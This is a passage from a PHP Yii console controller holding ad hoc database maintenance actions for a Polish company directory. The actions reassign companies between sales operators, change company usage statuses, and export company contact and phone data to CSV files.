        $idsFairs = \common\models\Fairs::find()->select(['id_fair'])->where(['id_series' => \common\models\FairsSeriesHasPortals::find()->select(['id_series'])->where(['id_portal' => 1])])->column();

        $transaction = Yii::$app->db->beginTransaction();
        foreach($idsFairsSeries as $idSeries) {
            $newModel = new \common\models\FairsSeriesHasPortals(['scenario' => 'create']);
            $newModel->id_series = $idSeries;
            $newModel->id_portal = 199;
            $newModel->or_patronage = 0; 
            $flag = $newModel->save(false);
            if(!$flag) {
                $transaction->rollBack();
                var_dump($newModel->getErrors());
                exit;
            } 
        }
        $transaction->rollBack();
        var_dump(count($idsFairs));
        \frontend\models\IndexFairs::refreshRecords($idsFairs);
    }
    
    public function actionDetachOperatorsFromCompaniesWithStatusToDelete()
    {
//        $idsCompaniesWithStatusToDelete = \common\models\Companies::find()->select(['id_company'])->where(['usage_status' => \common\models\types\CompanyUsageStatus::FOR_REMOVE])->column();
        
        $idsCompaniesWithStatusToDelete = \common\models\OperatorsHasCompanies::find()
                ->select(['operators_has_companies.id_company'])
                ->innerJoin('companies', 'companies.id_company = operators_has_companies.id_company')
                ->where(['operators_has_companies.id_user' => [94, 105]])
                ->andWhere(['companies.usage_status' => \common\models\types\CompanyUsageStatus::FOR_REMOVE])
                ->column();
        
        $modelUserVmDoUsuniecia = \common\models\Users::find()->where(['login' => 'vm_do_usuniecia'])->one();
        
        $transaction = Yii::$app->db->beginTransaction();
        
        $result = \common\models\OperatorsHasCompanies::deleteAll(['id_company' => $idsCompaniesWithStatusToDelete]);
        var_dump(count($idsCompaniesWithStatusToDelete), $result);
        
        $counter = 0;
        foreach($idsCompaniesWithStatusToDelete as $idCompany) {
            $newModel = new \common\models\OperatorsHasCompanies(['scenario' => 'create']);
            $newModel->id_company = $idCompany;
            $newModel->id_user = $modelUserVmDoUsuniecia->id_user; //265403;
            $flag = $newModel->save();
            if(!$flag) {
                $transaction->rollBack();
                var_dump($newModel->getErrors());
                exit;
            }
            $counter++;
        }
        
        $transaction->commit();
        var_dump($counter);
        var_dump('ok');
    }
    
    public function actionChangeCompaniesStatus()
    {
        $idsCompanies = \common\models\OperatorsHasCompanies::find()
                ->select(['operators_has_companies.id_company'])
                ->innerJoin('companies', 'companies.id_company = operators_has_companies.id_company')
                ->where(['operators_has_companies.id_user' => [94, 105]])
                ->andWhere(['companies.usage_status' => \common\models\types\CompanyUsageStatus::CLOSED])
                ->column();
        var_dump(count($idsCompanies)); exit;
        
        $transaction = Yii::$app->db->beginTransaction();
        
        $result = \common\models\Companies::updateAll(['usage_status' => \common\models\types\CompanyUsageStatus::FOR_REMOVE], ['id_company' => $idsCompanies]);
        var_dump($result);
        
        $transaction->commit();
        
        var_dump('ok');
    }
    
    public function actionGenerateCompaniesList()
    {
        $counter = 0;
        $query = \common\models\Companies::find()
            ->with([
                'contactData' => function($q) {
                    $q->where(['data_type' => [\common\models\types\ContactDataType::EMAIL, \common\models\types\ContactDataType::WWW]]);
                },
                'invoicingData',
            ])
            ->where(['usage_status' => \common\models\types\CompanyUsageStatus::UNUSED])
            ->andWhere([
                'not', 
                [
                    'id_company' => \common\models\OperatorsHasCompanies::find()
                        ->select(['operators_has_companies.id_company'])
                        ->innerJoin('users', 'users.id_user = operators_has_companies.id_user')
                        ->where([
                            'users.status' => \common\models\types\Status::ACTIVE,
                            'users.profile' => \common\models\types\UserProfile::MARKETER
                        ])
                ]
            ]);
        
        $fp = fopen(Yii::getAlias('@runtime/temp/companies_list.csv'), 'w');
        foreach($query->each(100) as $model) {
            $counter++;
            
            $email = '';
            $www = '';
            foreach($model->contactData as $modelContactData) {
                if ($email && $www) {
                    break;
                }
                if($modelContactData->data_type === \common\models\types\ContactDataType::EMAIL) {
                    $email = $modelContactData->data_value;
                } elseif($modelContactData->data_type === \common\models\types\ContactDataType::WWW) {
                    $www = $modelContactData->data_value;
                } 
            }
            $address = $model->street.' '.$model->building_number.(!empty($model->apartment_number) ? $model->apartment_number : '').', '.$model->postcode.' '.$model->locality;
            $taxId = !empty($model->invoicingData[0]->tax_id) ? $model->invoicingData[0]->tax_id : '';
            if (!empty($model->import_key)) {
                var_dump($model->id_company);
            }
            fputcsv($fp, [
                $model->id_company,
                $model->name,
                $email,
                $www,
                $address,
                $taxId,
                $model->import_key
            ]);
        }
        fclose($fp);
        
        
        var_dump('znaleziono: '.$counter);
    }
    
    public function actionAttachCompaniesToNewOperators()
    {
        
        exit;
        $counter = 0;
        $query = \common\models\Companies::find()
            ->select(['id_company', 'import_key'])
            ->where(['usage_status' => \common\models\types\CompanyUsageStatus::UNUSED])
            ->andWhere([
                'not', 
                [
                    'id_company' => \common\models\OperatorsHasCompanies::find()
                        ->select(['operators_has_companies.id_company'])
                        ->innerJoin('users', 'users.id_user = operators_has_companies.id_user')
                        ->where([
                            'users.status' => \common\models\types\Status::ACTIVE,
                            'users.profile' => \common\models\types\UserProfile::MARKETER
                        ])
                ]
            ]);
        
        $companiesByImportKeys = [];
        foreach($query->each(100) as $model) {
            if (empty($model->import_key)) {
                continue;
            }
            
            $counter++;            
            
            $companiesByImportKeys[$model->import_key][] = $model->id_company;
        } 
        
        $idUserVmCichocka = \common\models\Users::find()->select(['id_user'])->where(['login' => 'vm_cichocka'])->scalar();
        $idUserVmSuszczynski = \common\models\Users::find()->select(['id_user'])->where(['login' => 'vm_suszczynski'])->scalar();
        
        $numberOfCompaniesByImportKeys = [
            'metale - obróbka' => 1000, 
            'obróbka skrawaniem' => 1000, 
            'opakowania' => 200, 
            'opakowania z tworzyw sztucznych' => 100, 
            'stalowe konstrukcje' => 500, 
            'towrzywa sztuczne - dystrybutorzy i inni' => 500, 
            'tworzywa sztuczne' => 200, 
            'wentylacja' => 200, 
            
            'alarm' => 'HALF',
            'alarmowe systemy' => 'HALF',
            'alarmowe systemy - instalacja' => 'HALF',
            'alarmowe systemy - produkcja' => 'HALF',
            'alarmowe systemy, zamki' => 'HALF',
            'alarmy' => 'HALF',
            'alarmy - systemy alarmowe, alarmy.org' => 'HALF',
            'alarmy, zabezpieczenia antywłamaniowe' => 'HALF',
            'branża:alarmowe systemy' => 'HALF',
            'branża:automatyka przemysłowa' => 'HALF',
            'branża:budowlana chemia' => 'HALF',
            'branża:budowlane maszyny' => 'HALF',
            'branża:budowlane maszyny - części zamienne, naprawa' => 'HALF',
            'branża:budowlane maszyny - wypożyczanie' => 'HALF',
            'branża:chłodnictwo' => 'HALF',
            'branża:chłodnictwo - instalacje, wyposażenie, sprzęt' => 'HALF',
            'branża:chłodnictwo - instalacje, wyposażenie, sprzęt poniewierski@poniewierski.pl' => 'HALF',
            'branża:elektryczne artykuły - produkcja, hurt' => 'HALF',
            'branża:elektryczne artykuły, urządzenia - produkcja, hurt' => 'HALF',
            'branża:klimatyzacja - produkcja, hurt' => 'HALF',
            'branża:klimatyzacja - usługi' => 'HALF',
            'branża:metale - obróbka, maszyny' => 'HALF',
            'branża:metale kolorowe - produkcja, sprzedaż' => 'HALF',
            'branża:opakowania' => 'HALF',
            'branża:opakowania - produkcja' => 'HALF',
            'branża:opakowania - sprzedaż' => 'HALF',
            'branża:wentylacja' => 'HALF',
            'budowlane maszyny' => 'HALF',
            'budowlane maszyny - części zamienne, naprawa' => 'HALF',
            'budowlane maszyny - sprzedaż' => 'HALF',
            'budowlane maszyny - wypożyczanie' => 'HALF',
            'budowlane maszyny, sprzęt - części zamienne, serwis' => 'HALF',
            'budowlane maszyny, sprzęt - kupno, sprzedaż' => 'HALF',
            'budowlane maszyny, sprzęt - produkcja' => 'HALF',
            'budowlane maszyny, sprzęt - wynajem' => 'HALF',
            'budowlane maszyny...:rusztowania' => 'HALF',
            'budowlane materiały' => 'HALF',
            'budowlane materiały - ceramika budowlana' => 'HALF',
            'budowlane materiały - kamień, kruszywa' => 'HALF',
            'budowlane materiały - wykańczanie wnętrz' => 'HALF',
            'budowlane materiały, zabezpieczanie obiektów ogrodzenia, kraty, bramy' => 'HALF',
            'budowlane materiały...:beton' => 'HALF',
            'budowlane przedsiębiorstwa' => 'HALF',
            'budownictwo - producenci' => 'HALF',
            'chlodnictwo' => 'HALF',
            'chłodnictwo' => 'HALF',
            'chłodnictwo - chłodnictwo, chlodnictwo.biz' => 'HALF',
            'chłodnictwo - wyposażenie, sprzęt' => 'HALF',
            'chłodnicze urzadzenia' => 'HALF',
            'chłodnicze urządzenia' => 'HALF',
            'chłodnicze urządzenia - serwis' => 'HALF',
            'elektronarzedzia' => 'HALF',
            'elektrotechniczne artyku?y - produkcja, hurt' => 'HALF',
            'elektrotechniczny sprzęt i materiały' => 'HALF',
            'elektryka' => 'HALF',
            'firmy handlowe - wyroby stalowe' => 'HALF',
            'firmy metalowe' => 'HALF',
            'formy do tworzyw sztucznych' => 'HALF',
            'formy produkcja' => 'HALF',
            'formy wtryskowe' => 'HALF',
            'galwanizacja' => 'HALF',
            'hutnicze wyroby' => 'HALF',
            'import z portalu alarmy.org' => 'HALF',
            'instalacja systemów alarmowych' => 'HALF',
            'instalacje alarmowe' => 'HALF',
            'instalacje elektryczne' => 'HALF',
            'instalacje grzewcze i ogrzewanie' => 'HALF',
            'instalacje systemów alarmowych' => 'HALF',
            'klimatyzacja' => 'HALF',
            'klimatyzacja - instalacja, serwis' => 'HALF',
            'klimatyzacja - produkcja, hurt' => 'HALF',
            'klimatyzacja - serwis' => 'HALF',
            'klimatyzacja - usługi' => 'HALF',
            'klimatyzacja i wentylacja' => 'HALF',
            'klimatyzacja samochodowa' => 'HALF',
            'klimatyzacja, wentylacja i chłodnictwo' => 'HALF',
            'klimatyzacja, wentylacja, chłodnictwo' => 'HALF',
            'kompleksowe usługi instalacji' => 'HALF',
            'konstrukcje metalowe lekkie' => 'HALF',
            'konstrukcje metalowe, aluminiowe, stalowe' => 'HALF',
            'konstrukcje nośne metalowe dla przemysłu budowlanego' => 'HALF',
            'materialy elektryczne' => 'HALF',
            'metal, metali' => 'HALF',
            'metale' => 'HALF',
            'metale - maszyny do obróbki' => 'HALF',
            'metale - metale, metale.org' => 'HALF',
            'metale - nieżelazne' => 'HALF',
            'metale - żelazne' => 'HALF',
            'metalowe artykuły - produkcja' => 'HALF',
            'narzedzia - produkcja, hurt' => 'HALF',
            'narzedzia skrawajace , tnace' => 'HALF',
            'ogrzewanie' => 'HALF',
            'ogrzewanie - elektryczne' => 'HALF',
            'ogrzewanie - instalacja, serwis' => 'HALF',
            'ogrzewanie - podłogowe' => 'HALF',
            'ogrzewanie - projektowanie, instalacja, serwis' => 'HALF',
            'ogrzewanie - słoneczne' => 'HALF',
            'ogrzewanie - urządzenia' => 'HALF',
            'ogrzewanie elektryczne' => 'HALF',
            'opakowania - drewniane' => 'HALF',
            'opakowania - działalność zwišzana z opakowaniami' => 'HALF',
            'opakowania - foliowe' => 'HALF',
            'opakowania - jednorazowe' => 'HALF',
            'opakowania - maszyny i sprzęt do opakowań, opakowania.biz' => 'HALF',
            'opakowania - maszyny, sprzęt' => 'HALF',
            'opakowania - opakowania foliowe, opakowania.biz' => 'HALF',
            'opakowania - opakowania jednorazowe, opakowania.biz' => 'HALF',
            'opakowania - opakowania metalowe, opakowania.biz' => 'HALF',
            'opakowania - papierowe, tekturowe' => 'HALF',
            'opakowania - produkcja' => 'HALF',
            'opakowania - produkcja opakowań papieru falistego, kartony' => 'HALF',
            'opakowania - produkcja opakowań papieru falistego, kartony - rożne' => 'HALF',
            'opakowania - produkcja opakowań z metali lekkich' => 'HALF',
            'opakowania - produkcja opakowań, opakowania.biz' => 'HALF',
            'opakowania - różne' => 'HALF',
            'opakowania - sprzedaż' => 'HALF',
            'opakowania - sprzedaż opakowań, opakowania.biz' => 'HALF',
            'opakowania - z tworzyw sztucznych' => 'HALF',
            'opakowania ciepłochłonne' => 'HALF',
            'opakowania dystrybutorzy' => 'HALF',
            'opakowania foliowe' => 'HALF',
            'opakowania jednorazowe' => 'HALF',
            'opakowania metalowe' => 'HALF',
            'opakowania papierowe' => 'HALF',
            'opakowania papierowe i tekturowe' => 'HALF',
            'opakowania produkcja' => 'HALF',
            'opakowania sprzedaz' => 'HALF',
            'opakowania szklane' => 'HALF',
            'opakowania tekturowe' => 'HALF',
            'produkcja metali' => 'HALF',
            'produkcja tworzyw sztucznych' => 'HALF',
            'przemysłowe urządzenia, maszyny' => 'HALF',
            'tworzywa' => 'HALF',
            'tworzywa sztuczne - detal' => 'HALF',
            'tworzywa sztuczne - formy wtryskowe' => 'HALF',
            'tworzywa sztuczne - maszyny' => 'HALF',
            'tworzywa sztuczne - obróbka' => 'HALF',
            'tworzywa sztuczne - sprzedaż' => 'HALF',
            'tworzywa sztuczne - wyroby' => 'HALF',
            'tworzywa sztuczne - wyroby, przetwórstwo' => 'HALF',
            'tworzywa sztuczne spieniane' => 'HALF',
            'tworzywa sztuczne, kauczuk' => 'HALF',
            'tworzywa-sztuczne - tworzywa sztuczne, tworzywa.org' => 'HALF',
            'tworzywa-sztuczne - wyroby z tworzyw sztucznych, tworzywa.org' => 'HALF',
        ];
        
        var_dump('znaleziono: '.$counter);
        
        $transaction = Yii::$app->db->beginTransaction();
        
        $counterForVmCichocka = 0;
        $counterForVmSuszczynski = 0;
        foreach($numberOfCompaniesByImportKeys as $importKey => $numberOfCompaniesPerMarketer) {
            if (empty($companiesByImportKeys[$importKey]) || !is_array($companiesByImportKeys[$importKey])) {
                var_dump($importKey);
                $transaction->rollBack();
                exit;
            }
            
            $companiesToAttach = [];
            if ($numberOfCompaniesPerMarketer === 'HALF') {
//                if (count($companiesByImportKeys[$importKey]) === 1) {
//                    $key = mt_rand(0, 1);
//                    if ($key === 0) {
//                        $companiesToAttach[$idUserVmCichocka] = $companiesByImportKeys[$importKey];
//                        $companiesToAttach[$idUserVmSuszczynski] = [];
//                    } else {
//                        $companiesToAttach[$idUserVmCichocka] = [];
//                        $companiesToAttach[$idUserVmSuszczynski] = $companiesByImportKeys[$importKey];
//                    }
//                } else {
//                    list($companiesToAttach[$idUserVmCichocka], $companiesToAttach[$idUserVmSuszczynski]) = array_chunk($companiesByImportKeys[$importKey], ceil(count($companiesByImportKeys[$importKey]) / 2));
//                }                
                
                $a = array_chunk($companiesByImportKeys[$importKey], ceil(count($companiesByImportKeys[$importKey]) / 2));
                $key = mt_rand(0, 1);
                if ($key === 0) {
                    $companiesToAttach[$idUserVmCichocka] = $a[0];
                    $companiesToAttach[$idUserVmSuszczynski] = !empty($a[1]) ? $a[1] : [];
                } else {
                    $companiesToAttach[$idUserVmCichocka] = !empty($a[1]) ? $a[1] : [];
                    $companiesToAttach[$idUserVmSuszczynski] = $a[0];
                }
                
            } else {
                if(count($companiesByImportKeys[$importKey]) < ($numberOfCompaniesPerMarketer * 2)) {
                    $transaction->rollBack();
                    var_dump('Brakuje wymaganej liczby firm dla klucza "'.$importKey.'" (jest: '.count($companiesByImportKeys[$importKey]).' a powinno być: '.($numberOfCompaniesPerMarketer * 2).')');
                    exit;
                }
                
                $companiesToAttach[$idUserVmCichocka] = array_slice($companiesByImportKeys[$importKey], 0, $numberOfCompaniesPerMarketer);
                $companiesToAttach[$idUserVmSuszczynski] = array_slice($companiesByImportKeys[$importKey], $numberOfCompaniesPerMarketer, $numberOfCompaniesPerMarketer);
            }
            
            $counterForVmCichocka += count($companiesToAttach[$idUserVmCichocka]);
            $counterForVmSuszczynski += count($companiesToAttach[$idUserVmSuszczynski]);
            
//            var_dump('fraza: "'.$importKey.'"; dostepne: '.count($companiesByImportKeys[$importKey]).'; vm_cichocka: '.count($companiesToAttach[$idUserVmCichocka]).'; vm_suszczynski: '.count($companiesToAttach[$idUserVmSuszczynski]));
            
//            var_dump(count($companiesByImportKeys[$importKey]), $numberOfCompaniesPerMarketer, count($companiesToAttach[$idUserVmCichocka]), count($companiesToAttach[$idUserVmSuszczynski]));
//            exit;
            
            foreach($companiesToAttach as $idOperator => $idsCompanies) {
                foreach($idsCompanies as $idCompany) {
                    $newModel = new \common\models\OperatorsHasCompanies(['scenario' => 'create']);
                    $newModel->id_company = $idCompany;
                    $newModel->id_user = $idOperator;
                    $flag = $newModel->save();
                    if(!$flag) {
                        $transaction->rollBack();
                        var_dump($newModel->getErrors());
                        exit;
                    }
                }
            }
        }
        
        var_dump('OK');
        var_dump('vm_cichocka: '.$counterForVmCichocka.', vm_suszczynski: '.$counterForVmSuszczynski);
        $transaction->commit();
        
    }
    
    public function actionGetStatsForCompaniesAttachedToNewOperators()
    {
        $idUserVmCichocka = \common\models\Users::find()->select(['id_user'])->where(['login' => 'vm_cichocka'])->scalar();
        $idUserVmSuszczynski = \common\models\Users::find()->select(['id_user'])->where(['login' => 'vm_suszczynski'])->scalar();
  
        $query = \common\models\Companies::find()
            ->with([
                'contactData' => function($q) {
                    $q->where(['data_type' => [\common\models\types\ContactDataType::EMAIL, \common\models\types\ContactDataType::WWW]]);
                }
            ])
            ->joinWith(['relationsWithOperators' => function($q) use ($idUserVmCichocka, $idUserVmSuszczynski) { $q->where(['operators_has_companies.id_user' => [$idUserVmCichocka, $idUserVmSuszczynski]]); } ])
//            ->innerJoin('operators_has_companies', 'operators_has_companies.id_company = companies.id_company')
            ->where(['operators_has_companies.id_user' => [$idUserVmCichocka, $idUserVmSuszczynski]]);
        
        $stats = [
            $idUserVmSuszczynski => [
                'with_www' => 0,
                'with_email' => 0,
                'with_www_and_email' => 0,
                'without_www_and_email' => 0
            ],
            $idUserVmCichocka => [
                'with_www' => 0,
                'with_email' => 0,
                'with_www_and_email' => 0,
                'without_www_and_email' => 0
            ]
        ];
                
        foreach($query->each(100) as $model) {
            
            $email = '';
            $www = '';
            foreach($model->contactData as $modelContactData) {
                if($email && $www) {
                    break;
                }
                if($modelContactData->data_type === \common\models\types\ContactDataType::EMAIL) {
                    $email = $modelContactData->data_value;
                } elseif($modelContactData->data_type === \common\models\types\ContactDataType::WWW) {
                    $www = $modelContactData->data_value;
                } 
            }
            
            $idOperator = $model->relationsWithOperators[0]->id_user;
//            foreach($model->relationsWithOperators as $modelOperatorHasCompany)
            if($idOperator !== $idUserVmCichocka && $idOperator !== $idUserVmSuszczynski) {
                var_dump($model->id_company, $idOperator);
                exit;
            }
            
            
            if(!empty($email) && !empty($www)) {
                $stats[$idOperator]['with_www_and_email']++;
            } elseif(!empty($email)) {
                $stats[$idOperator]['with_email']++;
            } elseif(!empty($www)) {
                $stats[$idOperator]['with_www']++;
            } else {
                $stats[$idOperator]['without_www_and_email']++;
            }
        }
        
        $this->stdout('Dla vm_cichocka: '."\n");
        $this->stdout('- tylko www: '.$stats[$idUserVmCichocka]['with_www']."\n");
        $this->stdout('- tylko email: '.$stats[$idUserVmCichocka]['with_email']."\n");
        $this->stdout('- www oraz email: '.$stats[$idUserVmCichocka]['with_www_and_email']."\n");
        $this->stdout('- ani www ani email: '.$stats[$idUserVmCichocka]['without_www_and_email']."\n");
        
        $this->stdout("\n".'Dla vm_suszczynski: '."\n");
        $this->stdout('- tylko www: '.$stats[$idUserVmSuszczynski]['with_www']."\n");
        $this->stdout('- tylko email: '.$stats[$idUserVmSuszczynski]['with_email']."\n");
        $this->stdout('- www oraz email: '.$stats[$idUserVmSuszczynski]['with_www_and_email']."\n");
        $this->stdout('- ani www ani email: '.$stats[$idUserVmSuszczynski]['without_www_and_email']."\n");
        
        exit;
    }
    
    public function actionAttachRandomCompaniesToNewOperators()
    {
        exit;
        $idUserVmCichocka = \common\models\Users::find()->select(['id_user'])->where(['login' => 'vm_cichocka'])->scalar();
        $idUserVmSuszczynski = \common\models\Users::find()->select(['id_user'])->where(['login' => 'vm_suszczynski'])->scalar();
        $idUserVmDoUsuniecia = \common\models\Users::find()->select(['id_user'])->where(['login' => 'vm_do_usuniecia'])->scalar();
        
        $query = \common\models\Companies::find()
            ->with([
                'contactData' => function($q) {
                    $q->where(['data_type' => \common\models\types\ContactDataType::WWW]);
                }
            ])                
            ->where(['usage_status' => \common\models\types\CompanyUsageStatus::UNUSED])
            ->andWhere([
                'not', 
                [
                    'id_company' => \common\models\OperatorsHasCompanies::find()
                        ->select(['operators_has_companies.id_company'])
                        ->innerJoin('users', 'users.id_user = operators_has_companies.id_user')
                        ->where([
                            'users.status' => \common\models\types\Status::ACTIVE,
                            'users.profile' => \common\models\types\UserProfile::MARKETER
                        ])
                ]
            ])
            ->andWhere([
                'not', 
                [
                    'id_company' => \common\models\OperatorsHasCompanies::find()
                        ->select(['operators_has_companies.id_company'])
                        ->distinct()
                        ->where(['operators_has_companies.id_user' => [$idUserVmCichocka, $idUserVmSuszczynski, $idUserVmDoUsuniecia]])
                ]
            ]);
            
        $counter = 0;        
        $selectedIdsCompanies = [];
        foreach($query->each(100) as $model) {
            $orHasWww = '';
            foreach($model->contactData as $modelContactData) {
                if($modelContactData->data_type === \common\models\types\ContactDataType::WWW) {
                    $orHasWww = true;
                    break;
                } 
            }
            if(!$orHasWww) {
                continue;
            }
            
            $selectedIdsCompanies[] = $model->id_company;
            $counter++;   
            
            if($counter >= 4000) {
                break;
            }
        }         
        
        
        
        list($idsCompaniesForOperators[$idUserVmCichocka], $idsCompaniesForOperators[$idUserVmSuszczynski]) = array_chunk($selectedIdsCompanies, 2000);
//        var_dump('vm_cichocka: '.count($idsCompaniesForOperators[$idUserVmCichocka]).', vm_suszczynski: '.count($idsCompaniesForOperators[$idUserVmSuszczynski]));
//        exit;
        
        $transaction = Yii::$app->db->beginTransaction();
        foreach($idsCompaniesForOperators as $idOperator => $idsCompanies) {
            foreach($idsCompanies as $idCompany) {
                $newModel = new \common\models\OperatorsHasCompanies(['scenario' => 'create']);
                $newModel->id_company = $idCompany;
                $newModel->id_user = $idOperator;
                $flag = $newModel->save();
                if(!$flag) {
                    $transaction->rollBack();
                    var_dump($newModel->getErrors());
                    exit;
                }
            }
        }
        var_dump('OK');
        $transaction->rollBack();
        
    }
    
    public function actionSetUsersEmailsAsRequired()
    {
        exit;
        $sql = 'SELECT DISTINCT users.id_user  
                FROM users 
                INNER JOIN users_contact_data ON users_contact_data.id_user = users.id_user 
                WHERE 
                    users_contact_data.data_type = \'EMAIL\'
                    AND users_contact_data.required = 0 
                    AND users_contact_data.id_user NOT IN (
                            SELECT DISTINCT id_user 
                            FROM users_contact_data 
                            WHERE 
                                    data_type = \'EMAIL\' 
                                    AND required = 1
                    )';
        
        $idsUsers = Yii::$app->db->createCommand($sql)->queryColumn(); 
        
        $modelsUsers = \common\models\Users::find()
                ->with(['contactData' => function($q) { $q->andWhere(['data_type' => \common\models\types\ContactDataType::EMAIL])->orderBy('data_order ASC, id_contact_data ASC'); }])
                ->where(['id_user' => $idsUsers])
                ->all();
           
        $counter = 0;
        $transaction = Yii::$app->db->beginTransaction();
        foreach($modelsUsers as $modelUser) {
            foreach($modelUser->contactData as $modelUserContactData) {
                $modelUserContactData->required = 1;
                $flag = $modelUserContactData->save();
                if(!$flag) {
                    $transaction->rollBack();
                    var_dump($modelUserContactData->getErrors());
                    exit;
                }
                $counter++;
                break;
            }
        }
        var_dump('Zmodyfikowano: '.$counter);
        $transaction->rollBack();
        
    }
    
    public function actionTransferCompaniesFromVmFilbrandtToVmSandra2()
    {
        exit;
        $idVmFilbrandt = \common\models\Users::find()->select(['id_user'])->where(['login' => 'vm_filbrandt'])->limit(1)->scalar();
        $idVmSandra2 = \common\models\Users::find()->select(['id_user'])->where(['login' => 'vm_sandra2'])->limit(1)->scalar();
        
        $models = \common\models\OperatorsHasCompanies::find()
                ->joinWith(['company'])
                ->where([
                    'companies.usage_status' => [\common\models\types\CompanyUsageStatus::UNUSED, \common\models\types\CompanyUsageStatus::USED],
                    'operators_has_companies.id_user' => $idVmFilbrandt
                ])
                ->all();
        
//        $fp = fopen(Yii::getAlias('@runtime/temp/companies_list.csv'), 'w');
//        foreach($models as $model) {            
//            fputcsv($fp, [
//                $model->company->id_company,
//                $model->company->name,
//                $model->company->usage_status
//            ], ';');
//        }
//        fclose($fp);
        
//        exit;
        
        $transaction = Yii::$app->db->beginTransaction();
        foreach($models as $model) {
            $model->id_user = $idVmSandra2;
            if(!$model->save()) {
                $transaction->rollBack();
                var_dump($model->getErrors());
                exit;
            }
        }
        $transaction->commit();
        var_dump('OK');
        exit;
    }
    
    public function actionTemp1()
    {
        $idUserVmCichocka = \common\models\Users::find()->select(['id_user'])->where(['login' => 'vm_cichocka'])->scalar();
        $idUserVmSuszczynski = \common\models\Users::find()->select(['id_user'])->where(['login' => 'vm_suszczynski'])->scalar();
        
        $usersPhones = [];
        $companiesPhones = [];
        
        $query = \common\models\Companies::find()
                ->with([
                    'contactData' => function($q) { $q->andWhere(['data_type' => [\common\models\types\ContactDataType::MOBILE_PHONE, \common\models\types\ContactDataType::PHONE]]); }, 
                    'user', 
                    'user.contactData' => function($q) { $q->andWhere(['data_type' => [\common\models\types\ContactDataType::MOBILE_PHONE, \common\models\types\ContactDataType::PHONE]]); }
                ])
                ->innerJoin('operators_has_companies', 'operators_has_companies.id_company = companies.id_company')
                ->where([
                    'companies.usage_status' => \common\models\types\CompanyUsageStatus::UNUSED,
                    'operators_has_companies.id_user' => [$idUserVmCichocka, $idUserVmSuszczynski]
                ]);
                
        $fpCompaniesPhones = fopen(Yii::getAlias('@runtime/temp/companies_phones.csv'), 'w');
        $fpUsersPhones = fopen(Yii::getAlias('@runtime/temp/users_phones.csv'), 'w');
                
        $idsUsers = [];
        foreach($query->each(100) as $model) {
            if(isset($idsUsers[$model->id_user])) {
                var_dump($model->id_user); exit;
            }
            $idsUsers[$model->id_user] = true;
            $companyPhones = [];
            foreach($model->contactData as $modelCompanyContactData) {
                $phone = preg_replace('|[^0-9+]+|i', '', $modelCompanyContactData->data_value);
//                $phone = $modelCompanyContactData->data_value;
                $companyPhones[$phone] = $phone;
                fputcsv($fpCompaniesPhones, [
                    $model->id_company,
                    $model->name,
                    $phone
                ], ';');
            }
            
            foreach($model->user->contactData as $modelUserContactData) {
                $phone = preg_replace('|[^0-9+]+|i', '', $modelUserContactData->data_value);
//                $phone = $modelUserContactData->data_value;
                if(!in_array($phone, $companyPhones)) {
                    fputcsv($fpUsersPhones, [
                        $model->id_user,
                        $model->id_company,
                        $model->name,
                        $phone
                    ], ';');
                }
            }
        }
        
        fclose($fpCompaniesPhones);
        fclose($fpUsersPhones);
    }
    
    public function actionTemp2()
    {
        exit;
        $idUserVmCichocka = \common\models\Users::find()->select(['id_user'])->where(['login' => 'vm_cichocka'])->scalar();
        $idUserVmSuszczynski = \common\models\Users::find()->select(['id_user'])->where(['login' => 'vm_suszczynski'])->scalar();
        
        //@todo proteza
//        $idUserVmCichocka = 1;
//        $idUserVmSuszczynski = 2;
        
        $transaction = Yii::$app->db->beginTransaction();
        
        //odpinamy firmy mające prezentację na portalach 6 oraz 11
        $sql = 'SELECT DISTINCT operators_has_companies.id_company   
                FROM operators_has_companies  
                INNER JOIN companies_presentations ON companies_presentations.id_company = operators_has_companies.id_company 
                WHERE 
                    operators_has_companies.id_user IN ('.$idUserVmCichocka.', '.$idUserVmSuszczynski.') 
                    AND companies_presentations.id_portal IN (6, 11)';
        
        
        $idsCompanies = Yii::$app->db->createCommand($sql)->queryColumn();    
        if(!empty($idsCompanies)) {
            Yii::$app->db->createCommand()->delete('operators_has_companies', 'id_company IN ('.implode(',', $idsCompanies).') AND id_user IN ('.$idUserVmCichocka.', '.$idUserVmSuszczynski.')')->execute();
        }
        
        //dla firm o statusie „niewykorzystana” użytkowników vm_cichocka i vm_suszczynski, ustaw status wykorzystania na „poczekalnia”
        $sql = 'SELECT DISTINCT operators_has_companies.id_company   
                FROM operators_has_companies  
                INNER JOIN companies ON companies.id_company = operators_has_companies.id_company 
                WHERE 
                    operators_has_companies.id_user IN ('.$idUserVmCichocka.', '.$idUserVmSuszczynski.') 
                    AND companies.usage_status = \''.\common\models\types\CompanyUsageStatus::UNUSED.'\'';
        $idsCompanies = Yii::$app->db->createCommand($sql)->queryColumn(); 
        Yii::$app->db->createCommand()->update('companies', ['usage_status' => \common\models\types\CompanyUsageStatus::WAITING_ROOM], 'id_company IN ('.implode(',', $idsCompanies).')')->execute();
        
        //przetwarzamy plik numery_zweryfikowane.csv
        $file = fopen(Yii::getAlias('@runtime/temp/numery_zweryfikowane.csv'), 'r');
        $counter = 0;
        $numberOfDeletedPhones = 0;
        while(!feof($file)) {
            $counter++;
            $data = fgetcsv($file, null, ';');
//            var_dump($data);
            
            if(!is_array($data)) {
                continue;
            }
            
            switch($data[3]) {
                //Dla numerów, które mają status „Tak” wyszukaj w bazie firmy i ustaw im status „niewykorzystana”
                case 'Tak':
                    Yii::$app->db->createCommand()->update('companies', ['usage_status' => \common\models\types\CompanyUsageStatus::UNUSED], 'id_company = :id', [':id' => intval($data[0])])->execute();
                    break;
                
                //Dla numerów, które mają status „Nie” usuń numer z rekordu firmy, nie zmieniaj statusu (zostaje „poczekalnia”). Dodaj do pola Uwagi „Błędny numer komórki.”
                case 'Nie':                    
                    $modelCompany = \common\models\Companies::find()->with(['contactData'])->where(['id_company' => intval($data[0])])->one();                    
                    foreach($modelCompany->contactData as $modelCompanyContactData) {
                        if(!in_array($modelCompanyContactData->data_type, [\common\models\types\ContactDataType::PHONE, \common\models\types\ContactDataType::MOBILE_PHONE])) {
                            continue;
                        }
                        $phone = preg_replace('|[^0-9]+|i', '', $modelCompanyContactData->data_value);
                        if($data[2] === $phone) {
//                            var_dump('usuwamy dla firmy: '.$modelCompany->id_company.' numer telefonu: '.$data[2]);
                            $numberOfDeletedPhones++;
                            if($modelCompanyContactData->delete() === false) {
                                var_dump('blad podczas usuwania numeru telefonu: '.$data[2].' dla firmy: '.$modelCompany->id_company);
                                $transaction->rollBack();
                                exit;
                            }
                        }
                    }                    
                    $modelCompany->annotations .= ' Błędny numer komórki.';
                    $flag = $modelCompany->save();
